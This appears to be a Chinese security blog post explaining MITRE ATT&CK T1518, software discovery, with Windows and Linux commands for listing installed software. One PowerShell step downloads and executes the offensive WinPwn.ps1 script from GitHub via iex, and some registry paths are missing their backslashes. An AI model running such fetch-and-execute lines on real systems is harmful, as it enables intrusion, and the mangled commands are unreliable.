在Mitre Att&ck框架中,T1518(软件发现)技术位于“内网发现”战术中。官方对该技术的描述如下:
对手可能会尝试获取系统或云环境中已安装的软件及其版本的列表。对手可能会利用软件发现过程中收集到的信息,在自动化侦察阶段调整其后续行动,包括决定是否完全感染目标系统以及是否尝试特定的操作。
这些软件可能因为配置管理和安全需求而在整个环境中广泛部署,例如软件部署工具,这可能会让对手获得广泛的访问权限,从而感染更多设备或实现横向移动。
对手可能会出于各种目的尝试枚举软件,例如了解现有的安全措施,或是确认受入侵系统上的软件版本是否存在可用于特权提升的漏洞。
二、技术实现
下面以在windows和linux系统中分别进行软件发现为例,简单介绍T1518技术的实现方法。
(一)windows 10系统查看本机安装的软件
1、powershell命令行
(1)使用Get-WmiObject
//查看系统中所有已安装的软件的名称和版本号
Get-WmiObject -Class Win32_Product | Select-Object -Property Name, Version
//查看通过Windows Installer安装的软件
Get-WmiObject -Query "SELECT * FROM Win32_Product" | Select-Object Name, Version, InstallLocation
(2)使用Get-Package
//查看系统中通过NuGet包管理器安装的所有软件包
Get-Package
(3)使用Get-ItemProperty
//查看可卸载软件
Get-ItemProperty HKLM:SOFTWAREMicrosoftWindowsCurrentVersionUninstall* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
Get-ItemProperty HKLM:SoftwareWow6432NodeMicrosoftWindowsCurrentVersionUninstall* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
(4)查看安装的dotnet程序
# 指定仓库地址
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
# 下载WinPwn.ps1脚本
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
# 查看Program Files目录中的dotnet程序
Dotnetsearch -noninteractive -consoleoutput
# 查看本地安装的dotnet服务程序
Dotnet -noninteractive -consoleoutput
# 查看当前域中的mssql实例
powerSQL -noninteractive -consoleoutput
2、cmd命令行
//查看系统中所有已安装的软件的名称和版本号
wmic product get name,version
//查看Internet Explorer的版本
reg query "HKEY_LOCAL_MACHINESoftwareMicrosoftInternet Explorer" /v svcVersion
(二)linux系统查看本机安装的软件
1、红帽衍生版系统
(1)查看已安装的RPM包
//使用rpm命令
rpm -qa
//对于较新的CentOS系统
dnf list installed
//旧版本CentOS系统
yum list installed
(2)查看软件的安装历史
//查看通过dnf或yum安装、更新或删除的软件包的历史记录
dnf history
或者
yum history
2、debian衍生版系统
(1)查看已安装的deb包
//使用dpkg命令
dpkg -l
//使用apt命令
apt list --installed
//使用dpkg-query命令
dpkg-query -W -f='${binary:Package} ${Version}n'
(2)查看软件的安装历史
//查看所有与包有关的安装操作
cat /var/log/dpkg.log | grep 'install '
//查看通过apt或apt-get执行的所有事务,过滤出带有install的行,得到使用apt或apt-get安装软件的命令
cat /var/log/apt/history.log | grep install
原文始发于微信公众号(新蜂网络安全实验室):Mitre_Att&ck框架T1518(软件发现)的简单实现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论